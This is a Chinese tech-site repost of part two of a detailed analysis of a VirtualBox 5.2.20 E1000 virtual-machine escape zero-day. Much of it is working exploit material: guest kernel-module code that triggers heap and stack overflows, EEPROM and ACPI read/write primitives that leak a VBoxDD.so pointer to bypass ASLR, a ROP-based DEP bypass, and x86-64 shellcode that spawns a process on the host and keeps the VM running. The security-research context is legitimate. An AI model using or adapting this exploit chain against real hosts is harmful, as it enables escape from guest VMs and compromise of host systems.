VirtualBox虚拟机最新逃逸漏洞E1000 0day详细分析(下)

栏目: 服务器 · 发布时间: 6年前

内容简介:漏洞利用

近日,俄罗斯安全研究人员 Sergey Zelenyuk 发布了有关 VirtualBox 5.2.20 及早期版本的零日漏洞的详细信息,这些版本可以让攻击者逃离虚拟机并在主机上执行 RING 3 层的代码。然后,攻击者可以利用传统的攻击技术将权限提升至 RING 0 层。

漏洞利用

该漏洞利用 Linux 内核模块( LKM )加载到客户虚拟机操作系统中。如果虚拟机操作系统是 Windows 则只需要一个与 LKM 不同的驱动程序,这个驱动程序是初始化包装器和内核 API 调用所需要的。

在两个操作系统中加载驱动程序都需要提升权限。利用提权很普遍,所以不被认为是一个不可逾越的障碍。看看研究人员在 Pwn2Own 竞赛中使用的漏洞利用链:在客户虚拟机操作系统中的浏览器打开一个恶意网站来利用漏洞,一个浏览器沙箱逃逸可以获得完整的 RING3 访问权限,在你需要从虚拟机操作系统攻击虚拟机管理程序的地方,你利用操作系统的漏洞可以将权限提升至 RING0 。威力最强大的虚拟机管理程序漏洞肯定是那些可以从客户虚拟机 RING3 中利用的漏洞。在 VirtualBox 中也有这样的代码,可以在没有虚拟机 root 权限的情况下执行,而且大部分代码都没有被审计过。

这个漏洞利用的成功率是 100 %。这就意味着它要么总是可以成功,要么永远不会因为不匹配的二进制文件或其他没有考虑到的更微妙的原因而导致利用失败。至少在 Ubuntu 16.04 18.04 x86_64 的虚拟机上使用默认配置的情况下利用是成功的。

开发漏洞利用程序

1.攻击者卸载在 Linux 客户虚拟机中默认加载的 e1000.ko 并加载漏洞利用程序的 LKM

2.LKM 根据数据表初始化 E1000 。由于不需要接收另外一半,因此仅初始化发送一半。

3.第 1 步:信息泄露。

·a.LKM禁用E1000环回模式,使堆栈缓冲区溢出代码不可达。

· b.LKM使用整数下溢漏洞使堆缓冲区溢出。

· c.堆缓冲区溢出导致攻击者可以使用E1000 EEPROM在相对于堆缓冲区128 KB的范围内写入两个任意字节。因此攻击者获得了写原语。

· d.LKM使用写原语八次,将字节写入堆上的ACPI(高级配置和电源接口)数据结构。字节被写入堆缓冲区的索引变量,从中读取单个字节。由于缓冲区大小小于最大索引号(255),所以攻击者可以读取缓冲区,因此最终攻击者获得了读原语。

· e.LKM使用读原语八次,访问ACPI并从堆中获取8个字节。这些字节是VBoxDD.so共享库的指针。

· f.LKM从指针中减去RVA获得VBoxDD.so镜像基址。

4.第 2 步:堆栈缓冲区溢出。

· a.LKM启用E1000环回模式,使堆栈缓冲区溢出代码可达。

· b.LKM使用整数下溢漏洞使堆缓冲区溢出以及栈缓冲区溢出。保存的返回地址(RIP / EIP)将被覆盖。攻击者获得了控制权。

· c.执行ROP链来执行shellcode加载程序。

5第 3 步: shellcode

· a.shellcode加载器从相邻的栈中复制shellcode。shellcode被执行。

· b.shellcode执行fork和execve系统调用在主机端生成任意进程。

· c.父进程继续运行进程。

6.攻击者卸载 LKM 并加载 e1000.ko 允许虚拟机使用网络。

初始化

LKM 映射了有关于 E1000 MMIO 的物理内存。物理地址和大小由管理程序预定义。

void* map_mmio(void) {
    off_t pa = 0xF0000000;
    size_t len = 0x20000;

    void* va = ioremap(pa, len);
    if (!va) {
        printk(KERN_INFO PFX"ioremap failed to map MMIO\n");
        return NULL;
    }

    return va;
}

然后配置 E1000 通用寄存器,分配 Tx Ring 存储器,配置发送寄存器。

void e1000_init(void* mmio) {
    // Configure general purpose registers

    configure_CTRL(mmio);

    // Configure TX registers

    g_tx_ring = kmalloc(MAX_TX_RING_SIZE, GFP_KERNEL);
    if (!g_tx_ring) {
        printk(KERN_INFO PFX"Failed to allocate TX Ring\n");
        return;
    }

    configure_TDBAL(mmio);
    configure_TDBAH(mmio);
    configure_TDLEN(mmio);
    configure_TCTL(mmio);
}

ASLR 绕过

写原语

从漏洞利用程序的开发开始,我决定不使用默认情况下禁用的服务中的原语。首先要说的就是提供 3D 加速的 Chromium 服务(不是浏览器),去年研究人员发现了 40 多个漏洞。

现在的问题是在默认的 VirtualBox 子系统中发现信息泄漏。显而易见的想法是,如果整数下溢允许溢出堆缓冲区,那么我们就可以控制任何超过缓冲区的内容。接下来我们将看到我们并不需要一个额外的漏洞:整数下溢似乎非常强大,我们可以从中获取读取,写入和信息泄漏的原语,这里不是在堆栈缓冲区溢出。

让我们来看看堆上究竟是什么样的溢出。

/** * Device state structure. */struct E1kState_st
{
...    uint8_t     aTxPacketFallback[E1K_MAX_TX_PKT_SIZE];
...
    E1kEEPROM   eeprom;
...
}

这里 aTxPacketFallback 是一个大小为 0x3FA0 的缓冲区,它将溢出从数据描述符复制的字节。在缓冲区之后搜索有趣的字段我找到了 E1kEEPROM 结构,其中包含了具有以下字段的另一个结构( src/VBox/Devices/Network/DevE1000.cpp ):

/** * 93C46-compatible EEPROM device emulation. */struct EEPROM93C46
{
...    bool m_fWriteEnabled;    uint8_t Alignment1;    uint16_t m_u16Word;    uint16_t m_u16Mask;    uint16_t m_u16Addr;    uint32_t m_u32InternalWires;
...
}

我们怎么能才能滥用它们呢? E1000 实现了 EEPROM ,这是一个辅助适配器存储器。客户虚拟机操作系统可以通过 E1000 MMIO 寄存器访问它。 EEPROM 实现了具有多个状态的有限自动机,并执行四个动作。我们只对 写入内存 感兴趣。相关代码如下( src/VBox/Devices/Network/DevEEPROM.cpp ):

EEPROM93C46::State EEPROM93C46::opWrite()
{    storeWord(m_u16Addr, m_u16Word);    return WAITING_CS_FALL;
}void EEPROM93C46::storeWord(uint32_t u32Addr, uint16_t u16Value)
{    if (m_fWriteEnabled) {        E1kLog(("EEPROM: Stored word %04x at %08x\n", u16Value, u32Addr));
        m_au16Data[u32Addr] = u16Value;
    }
    m_u16Mask = DATA_MSB;
}

这里的 m_u16Addr m_u16Word m_fWriteEnabled 是我们控制的 EEPROM93C46 结构的字段。我们可以通过某种方式使它们变形

m_au16Data[u32Addr] = u16Value;

语句将在 m_au16Data 的任意 16 位偏移处写入两个字节,该偏移也属于 EEPROM93C46 结构。之后我们就找到了一个写原语。

读原语

接下来的问题是在堆上找到数据结构以写入任意数据,主要目标是泄漏一个共享库指针来获取其镜像基址。希望不需要进行不稳定的堆喷射,因为虚拟设备的主要数据结构似乎是从内部虚拟机管理程序堆中分配的,它们之间的距离始终是恒定的,尽管它们的虚拟地址是由 ASLR 随机化产生的。

启动虚拟机时, PDM (可插入设备和驱动程序管理器)子系统在虚拟机管理程序堆中分配 PDMDEVINS 对象。

int pdmR3DevInit(PVM pVM)
{
...
        PPDMDEVINS pDevIns;        if (paDevs[i].pDev->pReg->fFlags & (PDM_DEVREG_FLAGS_RC | PDM_DEVREG_FLAGS_R0))
            rc = MMR3HyperAllocOnceNoRel(pVM, cb, 0, MM_TAG_PDM_DEVICE, (void **)&pDevIns);        else
            rc = MMR3HeapAllocZEx(pVM, MM_TAG_PDM_DEVICE, cb, (void **)&pDevIns);
...

我使用脚本在 GDB 下跟踪该代码并得到以下结果:

[trace-device-constructors] Constructing a device #0x0:
[trace-device-constructors] Name: "pcarch", '\000' <repeats 25 times>
[trace-device-constructors] Description: 0x7fc44d6f125a "PC Architecture Device"
[trace-device-constructors] Constructor: {int (PPDMDEVINS, int, PCFGMNODE)} 0x7fc44d57517b <pcarchConstruct(PPDMDEVINS, int, PCFGMNODE)>
[trace-device-constructors] Instance: 0x7fc45486c1b0
[trace-device-constructors] Data size: 0x8

[trace-device-constructors] Constructing a device #0x1:
[trace-device-constructors] Name: "pcbios", '\000' <repeats 25 times>
[trace-device-constructors] Description: 0x7fc44d6ef37b "PC BIOS Device"
[trace-device-constructors] Constructor: {int (PPDMDEVINS, int, PCFGMNODE)} 0x7fc44d56bd3b <pcbiosConstruct(PPDMDEVINS, int, PCFGMNODE)>
[trace-device-constructors] Instance: 0x7fc45486c720
[trace-device-constructors] Data size: 0x11e8

...

[trace-device-constructors] Constructing a device #0xe:
[trace-device-constructors] Name: "e1000", '\000' <repeats 26 times>
[trace-device-constructors] Description: 0x7fc44d70c6d0 "Intel PRO/1000 MT Desktop Ethernet.\n"
[trace-device-constructors] Constructor: {int (PPDMDEVINS, int, PCFGMNODE)} 0x7fc44d622969 <e1kR3Construct(PPDMDEVINS, int, PCFGMNODE)>
[trace-device-constructors] Instance: 0x7fc470083400
[trace-device-constructors] Data size: 0x53a0

[trace-device-constructors] Constructing a device #0xf:
[trace-device-constructors] Name: "ichac97", '\000' <repeats 24 times>
[trace-device-constructors] Description: 0x7fc44d716ac0 "ICH AC'97 Audio Controller"
[trace-device-constructors] Constructor: {int (PPDMDEVINS, int, PCFGMNODE)} 0x7fc44d66a90f <ichac97R3Construct(PPDMDEVINS, int, PCFGMNODE)>
[trace-device-constructors] Instance: 0x7fc470088b00
[trace-device-constructors] Data size: 0x1848

[trace-device-constructors] Constructing a device #0x10:
[trace-device-constructors] Name: "usb-ohci", '\000' <repeats 23 times>
[trace-device-constructors] Description: 0x7fc44d707025 "OHCI USB controller.\n"
[trace-device-constructors] Constructor: {int (PPDMDEVINS, int, PCFGMNODE)} 0x7fc44d5ea841 <ohciR3Construct(PPDMDEVINS, int, PCFGMNODE)>
[trace-device-constructors] Instance: 0x7fc47008a4e0
[trace-device-constructors] Data size: 0x1728

[trace-device-constructors] Constructing a device #0x11:
[trace-device-constructors] Name: "acpi", '\000' <repeats 27 times>
[trace-device-constructors] Description: 0x7fc44d6eced8 "Advanced Configuration and Power Interface"
[trace-device-constructors] Constructor: {int (PPDMDEVINS, int, PCFGMNODE)} 0x7fc44d563431 <acpiR3Construct(PPDMDEVINS, int, PCFGMNODE)>
[trace-device-constructors] Instance: 0x7fc47008be70
[trace-device-constructors] Data size: 0x1570

[trace-device-constructors] Constructing a device #0x12:
[trace-device-constructors] Name: "GIMDev", '\000' <repeats 25 times>
[trace-device-constructors] Description: 0x7fc44d6f17fa "VirtualBox GIM Device"
[trace-device-constructors] Constructor: {int (PPDMDEVINS, int, PCFGMNODE)} 0x7fc44d575cde <gimdevR3Construct(PPDMDEVINS, int, PCFGMNODE)>
[trace-device-constructors] Instance: 0x7fc47008dba0
[trace-device-constructors] Data size: 0x90

[trace-device-constructors] Instances:
[trace-device-constructors] #0x0 Address: 0x7fc45486c1b0
[trace-device-constructors] #0x1 Address 0x7fc45486c720 differs from previous by 0x570
[trace-device-constructors] #0x2 Address 0x7fc4700685f0 differs from previous by 0x1b7fbed0
[trace-device-constructors] #0x3 Address 0x7fc4700696d0 differs from previous by 0x10e0
[trace-device-constructors] #0x4 Address 0x7fc47006a0d0 differs from previous by 0xa00
[trace-device-constructors] #0x5 Address 0x7fc47006a450 differs from previous by 0x380
[trace-device-constructors] #0x6 Address 0x7fc47006a920 differs from previous by 0x4d0
[trace-device-constructors] #0x7 Address 0x7fc47006ad50 differs from previous by 0x430
[trace-device-constructors] #0x8 Address 0x7fc47006b240 differs from previous by 0x4f0
[trace-device-constructors] #0x9 Address 0x7fc4548ec9a0 differs from previous by 0x-1b77e8a0
[trace-device-constructors] #0xa Address 0x7fc470075f90 differs from previous by 0x1b7895f0
[trace-device-constructors] #0xb Address 0x7fc488022000 differs from previous by 0x17fac070
[trace-device-constructors] #0xc Address 0x7fc47007cf80 differs from previous by 0x-17fa5080
[trace-device-constructors] #0xd Address 0x7fc4700820f0 differs from previous by 0x5170
[trace-device-constructors] #0xe Address 0x7fc470083400 differs from previous by 0x1310
[trace-device-constructors] #0xf Address 0x7fc470088b00 differs from previous by 0x5700
[trace-device-constructors] #0x10 Address 0x7fc47008a4e0 differs from previous by 0x19e0
[trace-device-constructors] #0x11 Address 0x7fc47008be70 differs from previous by 0x1990
[trace-device-constructors] #0x12 Address 0x7fc47008dba0 differs from previous by 0x1d30

注意 E1000 设备在 #0xE 位置。在第二个列表中可以看到,紧邻的设备与 E1000 的偏移量为 0x5700 ,下一个设备为 0x19E0 ,依此类推。我们已经说过这些距离总是一样的,这给了我们触发漏洞的机会。

E1000 之后的设备是 ICH IC'97 OHCI ACPI VirtualBox GIM 。在了解了他们的数据结构后我想到了使用写原语的方法。

在虚拟机启动时,将创建 ACPI 设备( src/VBox/Devices/PC/DevACPI.cpp ):

typedef struct ACPIState
{
...
    uint8_t             au8SMBusBlkDat[32];
    uint8_t             u8SMBusBlkIdx;
    uint32_t            uPmTimeOld;
    uint32_t            uPmTimeA;
    uint32_t            uPmTimeB;
    uint32_t            Alignment5;
} ACPIState;

ACPI 端口输入 / 输出处理程序注册地址为 0x4100-0x410F 范围。在 0x4107 端口的情况下,我们有:

PDMBOTHCBDECL(int) acpiR3SMBusRead(PPDMDEVINS pDevIns, void *pvUser, RTIOPORT Port, uint32_t *pu32, unsigned cb)
{
    RT_NOREF1(pDevIns);
    ACPIState *pThis = (ACPIState *)pvUser;
...
    switch (off)
    {
...
        case SMBBLKDAT_OFF:
            *pu32 = pThis->au8SMBusBlkDat[pThis->u8SMBusBlkIdx];
            pThis->u8SMBusBlkIdx++;
            pThis->u8SMBusBlkIdx &= sizeof(pThis->au8SMBusBlkDat) - 1;
            break;
...

当客户虚拟机操作系统执行 INB 0x4107 )指令从端口读取一个字节时,处理程序从 u8SMBusBlkIdx 索引处的 au8SMBusBlkDat [32] 数组中获取一个字节并将其返回给客户虚拟机。这就是应用写原语的方法:由于虚拟设备堆块之间的距离是恒定的,所以从 EEPROM93C46.m_au16Data 数组到 ACPIState.u8SMBusBlkIdx 的距离也是恒定的。将两个字节写入 ACPIState.u8SMBusBlkIdx ,我们可以从 ACPIState.au8SMBusBlkDat 中读取 255 个字节范围内的任意数据。

这里有一个问题。看一下 ACPIState 结构,可以看出数组放在结构的末尾。其余的字段对泄漏没什么用。那么让我们看一下在结构后面可以找到的东西:

gef➤  x/16gx (ACPIState*)(0x7fc47008be70+0x100)+1
0x7fc47008d4e0:	0xffffe98100000090	0xfffd9b2000000000
0x7fc47008d4f0:	0x00007fc470067a00	0x00007fc470067a00
0x7fc47008d500:	0x00000000a0028a00	0x00000000000e0000
0x7fc47008d510:	0x00000000000e0fff	0x0000000000001000
0x7fc47008d520:	0x000000ff00000002	0x0000100000000000
0x7fc47008d530:	0x00007fc47008c358	0x00007fc44d6ecdc6
0x7fc47008d540:	0x0031000035944000	0x00000000000002b8
0x7fc47008d550:	0x00280001d3878000	0x0000000000000000
gef➤  x/s 0x00007fc44d6ecdc6
0x7fc44d6ecdc6:	"ACPI RSDP"
gef➤  vmmap VBoxDD.so
Start                           End                             Offset                          Perm Path
0x00007fc44d4f3000 0x00007fc44d768000 0x0000000000000000 r-x /home/user/src/VirtualBox-5.2.20/out/linux.amd64/release/bin/VBoxDD.so
0x00007fc44d768000 0x00007fc44d968000 0x0000000000275000 --- /home/user/src/VirtualBox-5.2.20/out/linux.amd64/release/bin/VBoxDD.so
0x00007fc44d968000 0x00007fc44d977000 0x0000000000275000 r-- /home/user/src/VirtualBox-5.2.20/out/linux.amd64/release/bin/VBoxDD.so
0x00007fc44d977000 0x00007fc44d980000 0x0000000000284000 rw- /home/user/src/VirtualBox-5.2.20/out/linux.amd64/release/bin/VBoxDD.so
gef➤  p 0x00007fc44d6ecdc6 - 0x00007fc44d4f3000
$2 = 0x1f9dc6

似乎有一个指向字符串的指针,该字符串位于 VBoxDD.so 镜像库的固定偏移处。指针位于 ACPIState 末尾的 0x58 偏移处。我们可以使用原语逐字节地读取该指针,最后获得 VBoxDD.so 镜像库基址。我们只希望通过 ACPIState 结构的数据在虚拟机每次启动时都不是随机的。希望 0x58 偏移处的指针始终不变。

信息泄漏

现在我们将写入和读取原语结合起来并利用它们来绕过 ASLR 。我们将溢出堆来覆盖 EEPROM93C46 结构,然后触发 EEPROM 有限自动机将索引写入 ACPIState 结构,然后在客户虚拟机中执行 INB 0x4107 )来访问 ACPI 读取指针的一个字节。重复这个步骤八次,索引将递增 1

uint64_t stage_1_main(void* mmio, void* tx_ring) {
    printk(KERN_INFO PFX"##### Stage 1 #####\n");

    //当启用环回模式时,每个Tx数据描述符的数据(实际上是网络数据包)
    //被发送回 客户虚拟机 并立即通过e1kHandleRxPacket进行处理。
    //禁用环回模式时,数据会照常发送到网络。
    //我们在第1阶段禁用环回模式,在e1kHandleRxPacket函数中溢出堆但没有接触栈缓冲区。
    //在第2阶段,我们启用了环回模式,并溢出了堆和栈缓冲区。

    e1000_disable_loopback_mode(mmio);

    uint8_t leaked_bytes[8];
    uint32_t i;
    for (i = 0; i < 8; i++) {
        stage_1_overflow_heap_buffer(mmio, tx_ring, i);
        leaked_bytes[i] = stage_1_leak_byte();

        printk(KERN_INFO PFX"Byte %d leaked: 0x%02X\n", i, leaked_bytes[i]);
    }

    uint64_t leaked_vboxdd_ptr = *(uint64_t*)leaked_bytes;
    uint64_t vboxdd_base = leaked_vboxdd_ptr - LEAKED_VBOXDD_RVA;
    printk(KERN_INFO PFX"Leaked VBoxDD.so pointer: 0x%016llx\n", leaked_vboxdd_ptr);
    printk(KERN_INFO PFX"Leaked VBoxDD.so base: 0x%016llx\n", vboxdd_base);

    return vboxdd_base;
}

之前说过为了使整数下溢不导致堆栈缓冲区溢出,应该配置某些 E1000 寄存器。这个想法是缓冲区在 e1kHandleRxPacket 函数中溢出,并且该函数在环回模式下处理 Tx 描述符时被调用。实际上,在环回模式下,客户虚拟机会将网络数据包发送给自身,目的是在发送后立即接收到它们。我们禁用了此模式,因此无法访问 e1kHandleRxPacket

DEP 绕过

我们绕过了 ASLR 。现在可以启用环回模式,并且可以触发堆栈缓冲区溢出。

void stage_2_overflow_heap_and_stack_buffers(void* mmio, void* tx_ring, uint64_t vboxdd_base) {
    off_t buffer_pa;
    void* buffer_va;
    alloc_buffer(&buffer_pa, &buffer_va);

    stage_2_set_up_buffer(buffer_va, vboxdd_base);
    stage_2_trigger_overflow(mmio, tx_ring, buffer_pa);

    free_buffer(buffer_va);
}

void stage_2_main(void* mmio, void* tx_ring, uint64_t vboxdd_base) {
    printk(KERN_INFO PFX"##### Stage 2 #####\n");

    e1000_enable_loopback_mode(mmio);
    stage_2_overflow_heap_and_stack_buffers(mmio, tx_ring, vboxdd_base);
    e1000_disable_loopback_mode(mmio);
}

现在,当执行 e1kHandleRxPacket 的最后一条指令时,保存的返回地址会被覆盖,控制权可以转移到攻击者想要的任何地方。但 DEP 仍在起保护作用。可以用传统的方式构建 ROP 链来绕过 ROP ROP 分配可执行内存,将 shellcode 加载器复制到其中并执行 shellcode

编写 Shellcode

shellcode 加载器很简单。它复制紧挨着的要溢出的缓冲区的开头。

use64

start:
    lea rsi, [rsp - 0x4170];
    push rax
    pop rdi
    add rdi, loader_size
    mov rcx, 0x800
    rep movsb
    nop

payload:
    ; Here the shellcode is to be

loader_size = $ - start

要执行的 shellcode 的第一部分是:

use64

start:
    ; sys_fork
    mov rax, 58
    syscall

    test rax, rax
    jnz continue_process_execution

    ; Initialize argv
    lea rsi, [cmd]
    mov [argv], rsi

    ; Initialize envp
    lea rsi, [env]
    mov [envp], rsi

    ; sys_execve
    lea rdi, [cmd]
    lea rsi, [argv]
    lea rdx, [envp]
    mov rax, 59
    syscall

...

cmd     db '/usr/bin/xterm', 0
env     db 'DISPLAY=:0.0', 0
argv    dq 0, 0
envp    dq 0, 0

shellcode 执行 fork execve 来创建 /usr/bin/xterm 进程。攻击者获得对宿主机 RING3 的控制权。

虚拟机进程持续运行

我相信每个 Exp 都应该完全完成开发和利用。也就是说 Exp 不应该让应用程序崩溃,当然,这并不总是完美的。我们需要让虚拟机进程继续执行,这是由 shellcode 的第二部分实现的。

continue_process_execution:
    ; Restore RBP
    mov rbp, rsp
    add rbp, 0x48

    ; Skip junk
    add rsp, 0x10

    ; Restore the registers that must be preserved according to System V ABI
    pop rbx
    pop r12
    pop r13
    pop r14
    pop r15

    ; Skip junk
    add rsp, 0x8

    ; Fix the linked list of PDMQUEUE to prevent segfaults on VM shutdown
    ; Before:   "E1000-Xmit" -> "E1000-Rcv" -> "Mouse_1" -> NULL
    ; After:    "E1000-Xmit" -> NULL

    ; Zero out the entire PDMQUEUE "Mouse_1" pointed by "E1000-Rcv"
    ; This was unnecessary on my testing machines but to be sure...
    mov rdi, [rbx]
    mov rax, 0x0
    mov rcx, 0xA0
    rep stosb

    ; NULL out a pointer to PDMQUEUE "E1000-Rcv" stored in "E1000-Xmit"
    ; because the first 8 bytes of "E1000-Rcv" (a pointer to "Mouse_1") 
    ; will be corrupted in MMHyperFree
    mov qword [rbx], 0x0

    ; Now the last PDMQUEUE is "E1000-Xmit" which will not be corrupted

    ret

当调用 e1kHandleRxPacket 时,调用堆栈如下:

#0 e1kHandleRxPacket
#1 e1kTransmitFrame
#2 e1kXmitDesc
#3 e1kXmitPacket
#4 e1kXmitPending
#5 e1kR3NetworkDown_XmitPending
...

我们将直接跳到 e1kR3NetworkDown_XmitPending ,这个函数不再做任何事情并返回到虚拟机管理程序功能。

static DECLCALLBACK(void) e1kR3NetworkDown_XmitPending(PPDMINETWORKDOWN pInterface)
{
    PE1KSTATE pThis = RT_FROM_MEMBER(pInterface, E1KSTATE, INetworkDown);
    /* Resume suspended transmission */
    STATUS &= ~STATUS_TXOFF;
    e1kXmitPending(pThis, true /*fOnWorkerThread*/);
}

shellcode RB48 添加到 RBP ,使其成为 e1kR3NetworkDown_XmitPending 中的值。接下来,寄存器 RBX R12 R13 R14 R15 取自堆栈,因为 System V ABI 需要将其保存在被调用的函数中。如果没有保存的话,虚拟机管理程序将因为其中的无效指针而崩溃。

做了这些事情后可能就足够了,因为虚拟机进程不再崩溃并继续执行。但是当 VM 关闭时, PDMR3QueueDestroyDevice 函数中存在访问冲突。原因是当堆溢出时,重写的结构 PDMQUEUE 会被覆盖。此外,它会被最后两个 ROP 覆盖,即最后 16 个字节。我试图减少 ROP 链的大小但以失败告终,但是当我手动替换数据时,虚拟机管理程序仍然崩溃。如此看来,这个问题并不像看起来那么明显。

被覆盖的数据结构是一个链表。要覆盖的数据位于最后一个列表元素中 下一个指针将被覆盖。最后的结果很简单:

; Fix the linked list of PDMQUEUE to prevent segfaults on VM shutdown
; Before:   "E1000-Xmit" -> "E1000-Rcv" -> "Mouse_1" -> NULL
; After:    "E1000-Xmit" -> NULL

将最后两个元素的值设为 NULL 就可以使虚拟机顺利关闭。

演示视频

https://vimeo.com/299325088


以上所述就是小编给大家介绍的《VirtualBox虚拟机最新逃逸漏洞E1000 0day详细分析(下)》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Java Servlet & JSP Cookbook

Java Servlet & JSP Cookbook

Bruce W. Perry / O'Reilly Media / 2003-12-1 / USD 49.99

With literally hundreds of examples and thousands of lines of code, the Java Servlet and JSP Cookbook yields tips and techniques that any Java web developer who uses JavaServer Pages or servlets will ......一起来看看 《Java Servlet & JSP Cookbook》 这本书的介绍吧!

JSON 在线解析
JSON 在线解析

在线 JSON 格式化工具

正则表达式在线测试
正则表达式在线测试

正则表达式在线测试

RGB HSV 转换
RGB HSV 转换

RGB HSV 互转工具